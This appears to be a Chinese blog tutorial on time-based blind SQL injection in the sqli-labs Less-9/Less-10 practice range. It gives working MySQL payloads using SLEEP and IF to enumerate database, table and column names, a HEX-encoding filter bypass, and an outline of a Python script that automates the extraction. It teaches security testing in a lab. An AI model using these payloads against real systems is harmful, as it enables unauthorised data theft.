前言
前两篇文章介绍了布尔盲注------它依赖页面在"正确"和"错误"时呈现不同内容。但如果目标页面对任何输入都返回完全相同的响应,布尔盲注就彻底失效了。
这时候就轮到时间盲注(Time-based Blind SQLi) 登场:我们不再观察页面内容的变化,而是让数据库"睡一觉",通过测量响应时间来判断条件真假。只要服务器响应慢了,我们就知道答对了。
文章目录
-
- 前言
- [靶场题目:Less-9 / Less-10](#靶场题目:Less-9 / Less-10)
- 核心原理:用时间说话
- 手工注入:完整流程
- [Python 脚本:`timeblind.py` 解析](#Python 脚本:
timeblind.py解析) - 时间盲注的局限与注意事项
- 三种盲注方式横向对比
- 完整代码与靶场资源
靶场题目:Less-9 / Less-10
Less-9 和 Less-10 是时间盲注的标准练习题。特征如下:
- 无论输入什么,页面响应始终一致
- 没有报错,没有数据回显,没有任何状态区分
- 唯一可利用的信息通道:HTTP 响应时间
Less-9 使用单引号闭合,Less-10 使用双引号闭合,脚本中通过切换注释对应 payload 即可适配两种情况。
核心原理:用时间说话
MySQL 提供了两个关键武器:
sql
-- 让数据库暂停 5 秒
SELECT SLEEP(5);
-- 条件判断:库名是否为 security?是则睡 5 秒,否则什么都不做
SELECT IF((SELECT DATABASE())='security', SLEEP(5), NULL);
IF(condition, true_result, false_result) 是时间盲注的核心结构。把"睡眠"嵌入条件分支,就把"对与错"变成了"慢与快"。
手工验证注入点
sql
-- 第一步:确认 sleep 能否生效
?id=2' and sleep(5) --+
-- 第二步:尝试条件判断
?id=2' and if((select database())='security', sleep(5), null) --+
如果第一条让页面延迟 5 秒,说明注入点存在且时间盲注可行。
手工注入:完整流程
爆破数据库名长度
sql
?id=1' and if(length(database()) > 7, sleep(5), 0) --+
从 1 开始逐步增大比较值,当页面不再延迟时,上一个值就是库名长度。
逐字符爆破库名
sql
-- 判断库名第一个字符是否为 's'(ASCII 115)
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0) --+
爆破表名
sql
-- 取第一张表的第一个字符,判断是否为 'e'(ASCII 101)
?id=1' and if(ascii(substr(
(select table_name from information_schema.tables
where table_schema=database() limit 0,1)
,1,1))=115, sleep(5), 0) --+
limit 0,1 取第一张表,limit 1,1 取第二张,依此枚举。
实战技巧 :数据库名、表名等字符串在 payload 中可以用其 HEX 值 代替,避免引号冲突,同时也能绕过部分过滤。例如
'security'等价于0x73656375726974...。
Python 脚本:timeblind.py 解析
脚本将完整攻击链拆分为五个独立函数,结构清晰,每一步都可以单独调用:
整体架构
main()
├── database_len() → 爆破库名长度
├── database_name(len) → 爆破库名
├── table_name() → 枚举所有表名
├── colum_name(table) → 枚举指定表的字段名
└── data(column, table) → 提取字段数据
时间测量的核心写法
所有函数都遵循同一个计时模式:
python
import datetime
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
# 条件成立,记录当前字符
用 datetime 精确记录请求前后的时间戳,差值超过阈值(2~3 秒)即视为"条件成立"。这比直接用 time.time() 更语义化,也更便于阅读。
库名爆破的两段式设计
database_len() 先确定长度,database_name(len) 再按长度逐字符枚举。这样避免了盲目爆破造成的请求浪费------一旦知道库名只有 8 位,后续循环就不会多跑一次。
database_name 的枚举字符集直接使用字符串遍历,而非 ASCII 码范围循环:
python
for j in '0123456789abcdefghijklmnopqrstuvwxyz':
# 直接比较字符,payload 构造更直观
对于库名、表名这类通常只含小写字母和数字的目标,缩小字符集能显著减少请求次数。
表名与字段名的三层嵌套
爆破表名和字段名需要三层 for 循环:
外层 k:第 k 张表(或第 k 个字段)
中层 i:字符串的第 i 个字符
内层 j:ASCII 码范围 65~122(A-z)
这个范围覆盖了大小写字母,足以应对常见的表名和字段名。如需支持数字或下划线,扩展 range 的起始值即可。
时间盲注的局限与注意事项
网络抖动是最大的干扰源。 时间盲注依赖响应时间判断,而网络延迟是不稳定的。实践中有几种应对策略:
- 将 sleep 时间设置得足够大(≥3 秒),远超正常响应时间
- 对同一个 payload 发送多次,取平均值或多数结果
- 在本地靶场练习时效果最稳定,生产环境慢网络下误判率会上升
线性枚举效率问题。 timeblind.py 的内层循环使用线性枚举,每个字符最多需要发送数十次请求,每次还要等待 sleep 超时。爆破一个完整的数据集可能需要数分钟甚至更长时间。结合二分查找优化是进阶方向。
三种盲注方式横向对比
| 注入类型 | 判断依据 | 适用场景 | 效率 |
|---|---|---|---|
| 布尔盲注(线性) | 页面内容差异 | 有明显回显状态区分 | 较低 |
| 布尔盲注(二分) | 页面内容差异 | 同上,追求效率 | 较高 |
| 时间盲注 | HTTP 响应时间 | 页面完全无差异 | 最低 |
时间盲注是三者中适用范围最广 的,但也是效率最低、稳定性最差的。真实渗透测试中,时间盲注通常是在其他方式都失效后的最后手段。
完整代码与靶场资源
timeblind.py 脚本已开源至 GitHub,与 bool.py、bool1.py 收录在同一仓库中。
脚本链接: github.com/aqirompt/sqli-labs-bool
靶场搭建请参考:
至此,布尔盲注与时间盲注的完整系列告一段落,届见。
免责声明:本文所有内容仅供授权环境下的安全学习与研究,切勿将相关技术用于任何未经授权的系统。